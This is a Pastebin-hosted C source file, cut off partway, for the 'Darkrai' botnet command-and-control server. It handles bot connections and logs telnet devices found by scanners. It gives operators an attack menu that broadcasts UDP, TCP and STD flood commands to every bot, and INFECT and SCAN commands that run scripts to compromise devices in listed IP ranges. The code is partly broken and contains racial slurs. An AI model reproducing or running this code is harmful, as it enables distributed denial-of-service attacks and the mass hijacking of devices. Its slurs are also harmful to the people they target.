Guest User

Server

a guest
Jan 20th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.75 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. Made Date: 7-23-16
  5. */
  6. /*
  7. *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  8.  
  9. # ___ __________ ____ _______ _____ _______________.___. ___
  10. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  11. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  12. # | | \ | / | \/ | \ | \\____ |
  13. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  14. # \/ \/ \/ \/ \/
  15. *** DARKRAI SERVER.C ***
  16. */
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <stdint.h>
  20. #include <inttypes.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netdb.h>
  25. #include <unistd.h>
  26. #include <time.h>
  27. #include <fcntl.h>
  28. #include <sys/epoll.h>
  29. #include <errno.h>
  30. #include <pthread.h>
  31. #include <signal.h>
  32. #include <arpa/inet.h>
  33. #define MAXFDS 1000000
  34. //////////////////////////////////
  35. struct login_info {
  36. char username[20];
  37. char password[20];
  38. };
  39. static struct login_info accounts[10];
  40. struct clientdata_t {
  41. uint32_t ip;
  42. char connected;
  43. } clients[MAXFDS];
  44. struct telnetdata_t {
  45. int connected;
  46. } managements[MAXFDS];
  47. struct args {
  48. int sock;
  49. struct sockaddr_in cli_addr;
  50. };
  51. static volatile FILE *telFD;
  52. static volatile FILE *fileFD;
  53. static volatile int epollFD = 0;
  54. static volatile int listenFD = 0;
  55. static volatile int OperatorsConnected = 0;
  56. static volatile int TELFound = 0;
  57. static volatile int scannerreport;
  58. //////////////////////////////////
  59. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  60. int total = 0, got = 1;
  61. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  62. return got;
  63. }
  64. void trim(char *str) {
  65. int i;
  66. int begin = 0;
  67. int end = strlen(str) - 1;
  68. while (isspace(str[begin])) begin++;
  69. while ((end >= begin) && isspace(str[end])) end--;
  70. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  71. str[i - begin] = '\0';
  72. }
  73. static int make_socket_non_blocking (int sfd) {
  74. int flags, s;
  75. flags = fcntl (sfd, F_GETFL, 0);
  76. if (flags == -1) {
  77. perror ("fcntl");
  78. return -1;
  79. }
  80. flags |= O_NONBLOCK;
  81. s = fcntl (sfd, F_SETFL, flags);
  82. if (s == -1) {
  83. perror ("fcntl");
  84. return -1;
  85. }
  86. return 0;
  87. }
  88. static int create_and_bind (char *port) {
  89. struct addrinfo hints;
  90. struct addrinfo *result, *rp;
  91. int s, sfd;
  92. memset (&hints, 0, sizeof (struct addrinfo));
  93. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  94. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  95. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  96. s = getaddrinfo (NULL, port, &hints, &result);
  97. if (s != 0) {
  98. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99. return -1;
  100. }
  101. for (rp = result; rp != NULL; rp = rp->ai_next) {
  102. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  103. if (sfd == -1) continue;
  104. int yes = 1;
  105. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  106. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  107. if (s == 0) {
  108. break;
  109. }
  110. close (sfd);
  111. }
  112. if (rp == NULL) {
  113. fprintf (stderr, "Could not bind\n");
  114. return -1;
  115. }
  116. freeaddrinfo (result);
  117. return sfd;
  118. }
  119. void broadcast(char *msg, int us, char *sender)
  120. {
  121. int sendMGM = 1;
  122. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  123. char *wot = malloc(strlen(msg) + 10);
  124. memset(wot, 0, strlen(msg) + 10);
  125. strcpy(wot, msg);
  126. trim(wot);
  127. time_t rawtime;
  128. struct tm * timeinfo;
  129. time(&rawtime);
  130. timeinfo = localtime(&rawtime);
  131. char *timestamp = asctime(timeinfo);
  132. trim(timestamp);
  133. int i;
  134. for(i = 0; i < MAXFDS; i++)
  135. {
  136. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  137. if(sendMGM && managements[i].connected)
  138. {
  139. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  140. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  141. send(i, ": ", 2, MSG_NOSIGNAL);
  142. }
  143. printf("sent to fd: %d\n", i);
  144. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  145. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  146. else send(i, "\n", 1, MSG_NOSIGNAL);
  147. }
  148. free(wot);
  149. }
  150. void *BotEventLoop(void *useless) {
  151. struct epoll_event event;
  152. struct epoll_event *events;
  153. int s;
  154. events = calloc (MAXFDS, sizeof event);
  155. while (1) {
  156. int n, i;
  157. n = epoll_wait (epollFD, events, MAXFDS, -1);
  158. for (i = 0; i < n; i++) {
  159. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  160. clients[events[i].data.fd].connected = 0;
  161. close(events[i].data.fd);
  162. continue;
  163. }
  164. else if (listenFD == events[i].data.fd) {
  165. while (1) {
  166. struct sockaddr in_addr;
  167. socklen_t in_len;
  168. int infd, ipIndex;
  169.  
  170. in_len = sizeof in_addr;
  171. infd = accept (listenFD, &in_addr, &in_len);
  172. if (infd == -1) {
  173. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  174. else {
  175. perror ("accept");
  176. break;
  177. }
  178. }
  179.  
  180. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  181. int dup = 0;
  182. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  183. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  184. if(clients[ipIndex].ip == clients[infd].ip) {
  185. dup = 1;
  186. break;
  187. }}
  188. if(dup) {
  189. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  190. close(infd);
  191. continue;
  192. }
  193. s = make_socket_non_blocking (infd);
  194. if (s == -1) { close(infd); break; }
  195. event.data.fd = infd;
  196. event.events = EPOLLIN | EPOLLET;
  197. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  198. if (s == -1) {
  199. perror ("epoll_ctl");
  200. close(infd);
  201. break;
  202. }
  203. clients[infd].connected = 1;
  204. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  205. }
  206. continue;
  207. }
  208. else {
  209. int datafd = events[i].data.fd;
  210. struct clientdata_t *client = &(clients[datafd]);
  211. int done = 0;
  212. client->connected = 1;
  213. while (1) {
  214. ssize_t count;
  215. char buf[2048];
  216. memset(buf, 0, sizeof buf);
  217. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  218. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  219. trim(buf);
  220. if(strcmp(buf, "PING") == 0) {
  221. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  222. continue;
  223. }
  224. if(strstr(buf, "REPORT ") == buf) {
  225. char *line = strstr(buf, "REPORT ") + 7;
  226. fprintf(telFD, "%s\n", line);
  227. fflush(telFD);
  228. TELFound++;
  229. continue;
  230. }
  231. if(strstr(buf, "PROBING") == buf) {
  232. char *line = strstr(buf, "PROBING");
  233. scannerreport = 1;
  234. continue;
  235. }
  236. if(strstr(buf, "REMOVING PROBE") == buf) {
  237. char *line = strstr(buf, "REMOVING PROBE");
  238. scannerreport = 0;
  239. continue;
  240. }
  241. if(strcmp(buf, "PONG") == 0) {
  242. continue;
  243. }
  244. printf("buf: \"%s\"\n", buf);
  245. }
  246. if (count == -1) {
  247. if (errno != EAGAIN) {
  248. done = 1;
  249. }
  250. break;
  251. }
  252. else if (count == 0) {
  253. done = 1;
  254. break;
  255. }
  256. if (done) {
  257. client->connected = 0;
  258. close(datafd);
  259. }}}}}}
  260. unsigned int BotsConnected() {
  261. int i = 0, total = 0;
  262. for(i = 0; i < MAXFDS; i++) {
  263. if(!clients[i].connected) continue;
  264. total++;
  265. }
  266. return total;
  267. }
  268. void *TitleWriter(void *sock) {
  269. int datafd = (int)sock;
  270. char string[2048];
  271. while(1) {
  272. memset(string, 0, 2048);
  273. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  274. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  275. sleep(2);
  276. }}
  277. int Find_Login(char *str) {
  278. FILE *fp;
  279. int line_num = 0;
  280. int find_result = 0, find_line=0;
  281. char temp[512];
  282.  
  283. if((fp = fopen("login.txt", "r")) == NULL){
  284. return(-1);
  285. }
  286. while(fgets(temp, 512, fp) != NULL){
  287. if((strstr(temp, str)) != NULL){
  288. find_result++;
  289. find_line = line_num;
  290. }
  291. line_num++;
  292. }
  293. if(fp)
  294. fclose(fp);
  295. if(find_result == 0)return 0;
  296. return find_line;
  297. }
  298. void *BotWorker(void *sock) {
  299. int datafd = (int)sock;
  300. int find_line;
  301. OperatorsConnected++;
  302. pthread_t title;
  303. char buf[2048];
  304. char* username;
  305. char* password;
  306. memset(buf, 0, sizeof buf);
  307. char botnet[2048];
  308. memset(botnet, 0, 2048);
  309. char botcount [2048];
  310. memset(botcount, 0, 2048);
  311. char statuscount [2048];
  312. memset(statuscount, 0, 2048);
  313.  
  314. FILE *fp;
  315. int i=0;
  316. int c;
  317. fp=fopen("login.txt", "r");
  318. while(!feof(fp)) {
  319. c=fgetc(fp);
  320. ++i;
  321. }
  322. int j=0;
  323. rewind(fp);
  324. while(j!=i-1) {
  325. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  326. ++j;
  327. }
  328.  
  329. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  330. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  331. trim(buf);
  332. char* nickstring;
  333. sprintf(accounts[find_line].username, buf);
  334. nickstring = ("%s", buf);
  335. find_line = Find_Login(nickstring);
  336. if(strcmp(nickstring, accounts[find_line].username) == 0){
  337. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  338. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  339. trim(buf);
  340. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  341. memset(buf, 0, 2048);
  342. goto Banner;
  343. }
  344. failed:
  345. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  346. char failed_line1[80];
  347. char ascii_failed_line1 [80];
  348. char ascii_failed_line2 [80];
  349. char ascii_failed_line3 [80];
  350. char ascii_failed_line4 [80];
  351. char ascii_failed_line5 [80];
  352. char ascii_failed_line6 [80];
  353. char ascii_failed_line7 [80];
  354. char ascii_failed_line8 [80];
  355. char ascii_failed_line9 [80];
  356. char ascii_failed_line10 [80];
  357. char ascii_failed_line11 [80];
  358. char ascii_failed_line12 [80];
  359. char ascii_failed_line13 [80];
  360. char ascii_failed_line14 [80];
  361. char ascii_failed_line15 [80];
  362. char ascii_failed_line16 [80];
  363. char ascii_failed_line17 [80];
  364.  
  365. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  366. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  367. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  368. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  369. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  370. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  371. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  372. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  373. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  374. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  375. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  376. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  377. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  378. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  379. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  380. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  381. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  382.  
  383. sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  384.  
  385. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  387. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  390. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  391. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  392. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  393. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  394. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  396. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  397. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  399. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  402.  
  403. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  404. sleep(5);
  405. goto end;
  406.  
  407. Banner:
  408. pthread_create(&title, NULL, &TitleWriter, sock);
  409. char ascii_banner_line1 [5000];
  410. char ascii_banner_line2 [5000];
  411. char ascii_banner_line3 [5000];
  412. char ascii_banner_line4 [5000];
  413. char ascii_banner_line5 [5000];
  414. char ascii_banner_line6 [5000];
  415. char ascii_banner_line7 [5000];
  416. char ascii_banner_line8 [5000];
  417. char ascii_banner_line9 [5000];
  418. char ascii_banner_line10 [5000];
  419. char ascii_banner_line11 [5000];
  420. char ascii_banner_line12 [5000];
  421. char ascii_banner_line13 [5000];
  422. char ascii_banner_line14 [5000];
  423. char welcome_line [80];
  424. char banner_text_line1 [80];
  425. char banner_text_line2 [80];
  426. char banner_bot_count [2048];
  427. memset(banner_bot_count, 0, 2048);
  428.  
  429. sprintf(ascii_banner_line1, "\x1b[34m DDDDDDD AAAAAAAA RRRRRR KK K RRRRRR AAAAAAAA I \r\n");
  430. sprintf(ascii_banner_line2, "\x1b[34mDDDDDDDDD AAAAAAAAAA RRRRRRRR KKK KK RRRRRRRR AAAAAAAAAA II \r\n");
  431. sprintf(ascii_banner_line3, "\x1b[34mDDD `DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  432. sprintf(ascii_banner_line4, "\x1b[34mDDD DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  433. sprintf(ascii_banner_line5, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRR KKK KKK RRR RRR AAAAAAAAAA III \r\n");
  434. sprintf(ascii_banner_line6, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRRR KKKKKKKKKK RRR RRRR AAAAAAAAAA III \r\n");
  435. sprintf(ascii_banner_line7, "\x1b[34mDDD DDD AAA AAA RRRRRRRRR KKKKKKKKK RRRRRRRRR AAA AAA III \r\n");
  436. sprintf(ascii_banner_line8, "\x1b[34mDDD DDD AAA AAA RRRR RRRR KKK KKK RRRR RRRR AAA AAA III \r\n");
  437. sprintf(ascii_banner_line9, "\x1b[34mDDD DDD AAA AAA RRR `RRR KKK KKK RRR RRR AAA AAA III \r\n");
  438. sprintf(ascii_banner_line10, "\x1b[34mDDD DDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  439. sprintf(ascii_banner_line11, "\x1b[34mDDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  440. sprintf(ascii_banner_line12, "\x1b[34mDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  441. sprintf(ascii_banner_line13, "\x1b[34m AA RR RR KK KK RR RR AA II \r\n");
  442. sprintf(ascii_banner_line14, "\x1b[34m A R R K K R R A I \r\n");
  443. //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: [email protected]
  444. sprintf(welcome_line, "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  445. sprintf(banner_text_line1, "\x1b[34m [-] TYPE HELP FOR LIST OF COMMMANDS [-]\r\n");
  446. sprintf(banner_text_line2, "\x1b[34m [-] TYPE ATTACK FOR ATTACK GUI [+]");
  447.  
  448. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  455. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  457. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  458. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  459. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  460. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  463. while(1) {
  464. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(datafd, banner_text_line1, strlen(banner_text_line1), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(datafd, banner_text_line2, strlen(banner_text_line2), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  468. break;
  469. }
  470. pthread_create(&title, NULL, &TitleWriter, sock);
  471. managements[datafd].connected = 1;
  472.  
  473. while(fdgets(buf, sizeof buf, datafd) > 0)
  474. {
  475.  
  476. if(strstr(buf, "ATTACK"))
  477. {
  478. int choice;
  479.  
  480. char ATTACK_MENU [2048];
  481.  
  482. char UDP_ATTACK [2048];
  483. char UDP_ATTACK_MESSAGE [2048];
  484. char UDP_ATTACK_IP;
  485. char UDP_ATTACK_PORT;
  486. char UDP_ATTACK_SEC;
  487. char UDP_ATTACK_SEND_COMMAND;
  488.  
  489. char TCP_ATTACK [2048];
  490. char TCP_ATTACK_MESSAGE [2048];
  491. char TCP_ATTACK_IP;
  492. char TCP_ATTACK_PORT;
  493. char TCP_ATTACK_SEC;
  494. char TCP_ATTACK_SEND_COMMAND;
  495.  
  496. char STD_ATTACK [2048];
  497. char STD_ATTACK_MESSAGE [2048];
  498. char STD_ATTACK_IP;
  499. char STD_ATTACK_PORT;
  500. char STD_ATTACK_SEC;
  501. char STD_ATTACK_SEND_COMMAND;
  502.  
  503. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  504. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  505. do
  506. {
  507. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  508. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  509. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  510.  
  511. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  512. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  513. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  514. scanf("%d", &choice);
  515.  
  516. switch(choice)
  517. {
  518. case 1:
  519.  
  520. sprintf(UDP_ATTACK_IP, "IP: ");
  521. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  522. scanf("%d", &UDP_ATTACK_IP);
  523.  
  524. sprintf(UDP_ATTACK_PORT, "Port: ");
  525. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  526. scanf("%d", &UDP_ATTACK_PORT);
  527.  
  528. sprintf("Sec: ", &UDP_ATTACK_SEC);
  529. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  530. scanf("%d", &UDP_ATTACK_SEC);
  531.  
  532. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  533. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  534. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  535.  
  536. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  537. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  538.  
  539. continue;
  540. case 2:
  541.  
  542. sprintf(TCP_ATTACK_IP, "IP: ");
  543. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  544. scanf("%d", &TCP_ATTACK_IP);
  545.  
  546. sprintf(TCP_ATTACK_PORT, "Port: ");
  547. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  548. scanf("%d", &TCP_ATTACK_PORT);
  549.  
  550. sprintf(TCP_ATTACK_SEC, "Sec: ");
  551. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  552. scanf("%d", &TCP_ATTACK_SEC);
  553.  
  554. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  555. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  556. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  557.  
  558. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  559. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  560.  
  561. continue;
  562.  
  563. case 3:
  564.  
  565. sprintf(STD_ATTACK_IP, "IP: ");
  566. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  567. scanf("%d", &STD_ATTACK_IP);
  568.  
  569. sprintf(STD_ATTACK_PORT, "Port: ");
  570. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  571. scanf("%d", &STD_ATTACK_PORT);
  572.  
  573. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  574. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  575. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  576.  
  577. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  578. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  579.  
  580. continue;
  581.  
  582.  
  583. }}
  584. while(choice !=3);
  585. }
  586. if(strstr(buf, "BOTS"))
  587. {
  588. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  589. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  590. continue;
  591. }
  592. if(strstr(buf, "STATUS"))
  593. {
  594. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  595. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  596. continue;
  597. }
  598. if(strstr(buf, "STATS"))
  599. {
  600. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  601. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  602. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  603. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  604. continue;
  605. }
  606. if(strstr(buf, "INFECT"))
  607. {
  608. system("python telnet.py filtered.txt");
  609. continue;
  610. }
  611. if(strstr(buf, "REINFECT"))
  612. {
  613. system("python w.py filtered_ssh.txt");
  614. continue;
  615. }
  616. if(strstr(buf, "FILTER"))
  617. {
  618. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  619. continue;
  620. }
  621. if(strstr(buf, "LOAD"))
  622. {
  623. system("python scan.py 376 LOAD 88 1");
  624. continue;
  625. }
  626. if(strstr(buf, "SCAN1"))
  627. {
  628. system("python scan.py 376 B 119.92 lol");
  629. continue;
  630. }
  631. if(strstr(buf, "SCAN2"))
  632. {
  633. system("python scan.py 376 B 119.93 lol");
  634. continue;
  635. }
  636. if(strstr(buf, "SCAN3")) {
  637. system("python scan.py 376 B 125.25 1");
  638. continue;
  639. }
  640. if(strstr(buf, "SCAN4"))
  641. {
  642. system("python scan.py 376 B 125.26 1");
  643. continue;
  644. }
  645. if(strstr(buf, "SCAN5")) {
  646. system("python scan.py 376 B 125.27 1");
  647. continue;
  648. }
  649. if(strstr(buf, "SCAN6")) {
  650. system("python scan.py 376 B 113.53 1");
  651. continue;
  652. }
  653. if(strstr(buf, "SCAN7"))
  654. {
  655. system("python scan.py 376 B 180.180 1");
  656. continue;
  657. }
  658. if(strstr(buf, "SCAN8"))
  659. {
  660. system("python scan.py 376 B 185.52 1");
  661. continue;
  662. }
  663. if(strstr(buf, "SCAN9"))
  664. {
  665. system("python scan.py 376 B 122.52 1");
  666. continue;
  667. }
  668. if(strstr(buf, "SCAN10"))
  669. {
  670. system("python scan.py 376 B 122.53 1");
  671. continue;
  672. }
  673. if(strstr(buf, "SCAN11"))
  674. {
  675. system("python scan.py 376 B 101.102");
  676. continue;
  677. }
  678. if(strstr(buf, "LUCKY"))
  679. {
  680. system("python scan.py 376 LUCKY 88 1");
  681. continue;
  682. }
  683. if(strstr(buf, "LUCKY2"))
  684. {
  685. system("python scan.py 376 LUCKY2 88 1");
  686. continue;
  687. }
  688. if(strstr(buf, "SCAN_OFF"))
  689. {
  690. system("killall -9 python");
  691. continue;
  692. }/*OTHER COMMANDS*/
